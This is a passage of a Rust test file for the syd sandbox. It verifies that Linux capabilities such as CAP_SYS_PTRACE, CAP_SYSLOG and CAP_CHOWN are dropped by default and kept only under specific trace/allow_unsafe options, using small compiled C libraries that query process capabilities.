        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_socket:1")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_ok!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_SYS_TIME restrictions on library load.
fn test_syd_drop_cap_sys_time_load_default() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("sys_time");
    skip_unless_available!("cc", "sh");

    // CAP_SYS_TIME must be dropped by default.
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_SYS_TIME is permitted
    if (cap_get_flag(caps, CAP_SYS_TIME, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_SYS_TIME is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_hidden!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_SYS_TIME restrictions on library load.
fn test_syd_drop_cap_sys_time_load_unsafe_caps() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("sys_time");
    skip_unless_available!("cc", "sh");

    // CAP_SYS_TIME must be kept with trace/allow_unsafe_caps:1
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_SYS_TIME is permitted
    if (cap_get_flag(caps, CAP_SYS_TIME, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_SYS_TIME is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_caps:1")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_ok!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_SYS_TIME restrictions on library load.
fn test_syd_drop_cap_sys_time_load_unsafe_time() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("sys_time");
    skip_unless_available!("cc", "sh");

    // CAP_SYS_TIME must be kept with trace/allow_unsafe_time:1
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_SYS_TIME is permitted
    if (cap_get_flag(caps, CAP_SYS_TIME, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_SYS_TIME is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_time:1")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_ok!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_SYSLOG restrictions on library load.
fn test_syd_drop_cap_syslog_load_default() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("syslog");
    skip_unless_available!("cc", "sh");

    // CAP_SYSLOG must be dropped by default.
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_SYSLOG is permitted
    if (cap_get_flag(caps, CAP_SYSLOG, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_SYSLOG is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_hidden!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_SYSLOG restrictions on library load.
fn test_syd_drop_cap_syslog_load_unsafe_caps() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("syslog");
    skip_unless_available!("cc", "sh");

    // CAP_SYSLOG must be kept with trace/allow_unsafe_caps:1
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_SYSLOG is permitted
    if (cap_get_flag(caps, CAP_SYSLOG, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_SYSLOG is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_caps:1")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_ok!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_SYSLOG restrictions on library load.
fn test_syd_drop_cap_syslog_load_unsafe_syslog() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("syslog");
    skip_unless_available!("cc", "sh");

    // CAP_SYSLOG must be kept with trace/allow_unsafe_syslog:1
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_SYSLOG is permitted
    if (cap_get_flag(caps, CAP_SYSLOG, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_SYSLOG is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_syslog:1")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_ok!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_SYS_PTRACE restrictions over execve(2)
fn test_syd_userns_drop_cap_sys_ptrace_exec_default() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!();

    // Ptrace must be dropped by default.
    let status = syd()
        .p("off")
        .p("container")
        .do_("hascap", ["sys_ptrace"])
        .status()
        .expect("execute syd");
    assert_status_hidden!(status);

    Ok(())
}

// Check CAP_SYS_PTRACE restrictions over execve(2)
fn test_syd_userns_drop_cap_sys_ptrace_exec_unsafe_caps() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!();

    // Ptrace is kept with trace/allow_unsafe_caps:1
    let status = syd()
        .p("off")
        .p("container")
        .m("trace/allow_unsafe_caps:1")
        .do_("hascap", ["sys_ptrace"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_SYS_PTRACE restrictions over execve(2)
fn test_syd_userns_drop_cap_sys_ptrace_exec_unsafe_ptrace() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!();

    // Ptrace is kept with trace/allow_unsafe_ptrace:1
    let status = syd()
        .p("off")
        .p("container")
        .m("trace/allow_unsafe_ptrace:1")
        .do_("hascap", ["sys_ptrace"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_CHOWN restrictions over execve(2)
fn test_syd_userns_drop_cap_chown_exec_default() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!();

    // CAP_CHOWN must be dropped by default.
    let status = syd()
        .p("off")
        .p("container")
        .do_("hascap", ["chown"])
        .status()
        .expect("execute syd");
    assert_status_hidden!(status);

    Ok(())
}

// Check CAP_CHOWN restrictions over execve(2)
fn test_syd_userns_drop_cap_chown_exec_unsafe() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!();

    // CAP_CHOWN is not dropped with trace/allow_unsafe_caps:1
    let status = syd()
        .p("off")
        .p("container")
        .m("trace/allow_unsafe_caps:1")
        .do_("hascap", ["chown"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_CHOWN restrictions over execve(2)
fn test_syd_userns_drop_cap_chown_exec_allow_unsafe() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!();

    // CAP_CHOWN is kept with trace/allow_unsafe_chown:1
    let status = syd()
        .p("off")
        .p("container")
        .m("trace/allow_unsafe_chown:1")
        .do_("hascap", ["chown"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_SETGID restrictions over execve(2)
fn test_syd_userns_drop_cap_setgid_exec_default() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!();

    // CAP_SETGID must be dropped by default.
    let status = syd()
        .p("off")
        .p("container")
        .do_("hascap", ["setgid"])
        .status()
        .expect("execute syd");
    assert_status_hidden!(status);

    Ok(())
}

// Check CAP_SETGID restrictions over execve(2)
fn test_syd_userns_drop_cap_setgid_exec_unsafe() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!();

    // CAP_SETGID is not dropped with trace/allow_unsafe_caps:1
    let status = syd()
        .p("off")
        .p("container")
        .m("trace/allow_unsafe_caps:1")
        .do_("hascap", ["setgid"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_SETGID restrictions over execve(2)
fn test_syd_userns_drop_cap_setgid_exec_safesetid() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!();

    // CAP_SETGID is not dropped with trace/allow_safe_setgid:1
    let status = syd()
        .p("off")
        .p("container")
        .m("trace/allow_safe_setgid:1")
        .do_("hascap", ["setgid"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_SETUID restrictions over execve(2)
fn test_syd_userns_drop_cap_setuid_exec_default() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!();

    // CAP_SETUID must be dropped by default.
    let status = syd()
        .p("off")
        .p("container")
        .do_("hascap", ["setuid"])
        .status()
        .expect("execute syd");
    assert_status_hidden!(status);

    Ok(())
}

// Check CAP_SETUID restrictions over execve(2)
fn test_syd_userns_drop_cap_setuid_exec_unsafe() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!();

    // CAP_SETUID is not dropped with trace/allow_unsafe_caps:1
    let status = syd()
        .p("off")
        .p("container")
        .m("trace/allow_unsafe_caps:1")
        .do_("hascap", ["setuid"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_SETUID restrictions over execve(2)
fn test_syd_userns_drop_cap_setuid_exec_safesetid() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!();

    // CAP_SETUID is not dropped with trace/allow_safe_setuid:1
    let status = syd()
        .p("off")
        .p("container")
        .m("trace/allow_safe_setuid:1")
        .do_("hascap", ["setuid"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_NET_BIND_SERVICE restrictions over execve(2)
fn test_syd_userns_drop_cap_net_bind_service_exec_default() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!();

    // CAP_NET_BIND_SERVICE must be dropped by default.
    let status = syd()
        .p("off")
        .p("container")
        .do_("hascap", ["net_bind_service"])
        .status()
        .expect("execute syd");
    assert_status_hidden!(status);

    Ok(())
}

// Check CAP_NET_BIND_SERVICE restrictions over execve(2)
fn test_syd_userns_drop_cap_net_bind_service_exec_unsafe_caps() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!();

    // CAP_NET_BIND_SERVICE must be kept with trace/allow_unsafe_caps:1
    let status = syd()
        .p("off")
        .p("container")
        .m("trace/allow_unsafe_caps:1")
        .do_("hascap", ["net_bind_service"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_NET_BIND_SERVICE restrictions over execve(2)
fn test_syd_userns_drop_cap_net_bind_service_exec_unsafe_bind() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!();

    // CAP_NET_BIND_SERVICE must be kept with trace/allow_unsafe_bind:1
    let status = syd()
        .p("off")
        .p("container")
        .m("trace/allow_unsafe_bind:1")
        .do_("hascap", ["net_bind_service"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_NET_RAW restrictions over execve(2)
fn test_syd_userns_drop_cap_net_raw_exec_default() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!();

    // CAP_NET_RAW must be dropped by default.
    let status = syd()
        .p("off")
        .p("container")
        .do_("hascap", ["net_raw"])
        .status()
        .expect("execute syd");
    assert_status_hidden!(status);

    Ok(())
}

// Check CAP_NET_RAW restrictions over execve(2)
fn test_syd_userns_drop_cap_net_raw_exec_unsafe_caps() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!();

    // CAP_NET_RAW must be kept with trace/allow_unsafe_caps:1
    let status = syd()
        .p("off")
        .p("container")
        .m("trace/allow_unsafe_caps:1")
        .do_("hascap", ["net_raw"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_NET_RAW restrictions over execve(2)
fn test_syd_userns_drop_cap_net_raw_exec_unsafe_socket() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!();

    // CAP_NET_RAW must be kept with trace/allow_unsafe_socket:1
    let status = syd()
        .p("off")
        .p("container")
        .m("trace/allow_unsafe_socket:1")
        .do_("hascap", ["net_raw"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_SYS_TIME restrictions over execve(2)
fn test_syd_userns_drop_cap_sys_time_exec_default() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!();

    // CAP_SYS_TIME must be dropped by default.
    let status = syd()
        .p("off")
        .p("container")
        .do_("hascap", ["sys_time"])
        .status()
        .expect("execute syd");
    assert_status_hidden!(status);

    Ok(())
}

// Check CAP_SYS_TIME restrictions over execve(2)
fn test_syd_userns_drop_cap_sys_time_exec_unsafe_caps() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!();

    // CAP_SYS_TIME must be kept with trace/allow_unsafe_caps:1
    let status = syd()
        .p("off")
        .p("container")
        .m("trace/allow_unsafe_caps:1")
        .do_("hascap", ["sys_time"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_SYS_TIME restrictions over execve(2)
fn test_syd_userns_drop_cap_sys_time_exec_unsafe_time() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!();

    // CAP_SYS_TIME must be kept with trace/allow_unsafe_time:1
    let status = syd()
        .p("off")
        .p("container")
        .m("trace/allow_unsafe_time:1")
        .do_("hascap", ["sys_time"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_SYSLOG restrictions over execve(2)
fn test_syd_userns_drop_cap_syslog_exec_default() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!();

    // CAP_SYSLOG must be dropped by default.
    let status = syd()
        .p("off")
        .p("container")
        .do_("hascap", ["syslog"])
        .status()
        .expect("execute syd");
    assert_status_hidden!(status);

    Ok(())
}

// Check CAP_SYSLOG restrictions over execve(2)
fn test_syd_userns_drop_cap_syslog_exec_unsafe_caps() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!();

    // CAP_SYSLOG must be kept with trace/allow_unsafe_caps:1
    let status = syd()
        .p("off")
        .p("container")
        .m("trace/allow_unsafe_caps:1")
        .do_("hascap", ["syslog"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_SYSLOG restrictions over execve(2)
fn test_syd_userns_drop_cap_syslog_exec_unsafe_syslog() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!();

    // CAP_SYSLOG must be kept with trace/allow_unsafe_syslog:1
    let status = syd()
        .p("off")
        .p("container")
        .m("trace/allow_unsafe_syslog:1")
        .do_("hascap", ["syslog"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check CAP_SYS_PTRACE restrictions on library load.
fn test_syd_userns_drop_cap_sys_ptrace_load_default() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!();
    skip_unless_available!("cc", "sh");

    // Ptrace must be dropped by default.
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_SYS_PTRACE is permitted
    if (cap_get_flag(caps, CAP_SYS_PTRACE, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_SYS_PTRACE is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .p("container")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_hidden!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_SYS_PTRACE restrictions on library load.
fn test_syd_userns_drop_cap_sys_ptrace_load_unsafe_caps() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!();
    skip_unless_available!("cc", "sh");

    // Ptrace is kept with trace/allow_unsafe_caps:1
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_SYS_PTRACE is permitted
    if (cap_get_flag(caps, CAP_SYS_PTRACE, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_SYS_PTRACE is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .p("container")
        .m("trace/allow_unsafe_caps:1")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_ok!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_SYS_PTRACE restrictions on library load.
fn test_syd_userns_drop_cap_sys_ptrace_load_unsafe_ptrace() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!();
    skip_unless_available!("cc", "sh");

    // Ptrace is kept with trace/allow_unsafe_ptrace:1
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_SYS_PTRACE is permitted
    if (cap_get_flag(caps, CAP_SYS_PTRACE, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_SYS_PTRACE is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .p("container")
        .m("trace/allow_unsafe_ptrace:1")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_ok!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_CHOWN restrictions on library load.
fn test_syd_userns_drop_cap_chown_load_default() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!();
    skip_unless_available!("cc", "sh");

    // CAP_CHOWN must be dropped by default.
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_CHOWN is permitted
    if (cap_get_flag(caps, CAP_CHOWN, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_CHOWN is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    assert_status_ok!(status);

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    let status = syd()
        .p("off")
        .p("container")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_hidden!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check CAP_CHOWN restrictions on library load.
fn test_syd_userns_drop_cap_chown_load_allow_unsafe() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!();
    skip_unless_available!("cc", "sh");

    // CAP_CHOWN is kept with trace/allow_unsafe_chown:1
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > load.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/capability.h>

int syd_main(void) {
    cap_t caps;
    cap_flag_value_t cap_flag;

    // Get the capabilities of the current process
    caps = cap_get_proc();
    if (caps == NULL) {
        perror("cap_get_proc");
        return errno;
    }

    // Check if CAP_CHOWN is permitted
    if (cap_get_flag(caps, CAP_CHOWN, CAP_PERMITTED, &cap_flag) == -1) {
        perror("cap_get_flag");
        cap_free(caps);
        return errno;
    }

    // Free the capabilities structure
    cap_free(caps);

    if (cap_flag == CAP_SET) {
        return 0; // CAP_CHOWN is set
    } else {
        return ENOENT; // Capability is not set.
    }
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC -lcap || exit 127
    "##,
        )
        .status()
        .expect("execute sh");
    let code = status.code().unwrap_or(127);
    if code == 127 {
        eprintln!("Failed to compile dynamic library, is libcap installed?");
        eprintln!("Skipping test!");
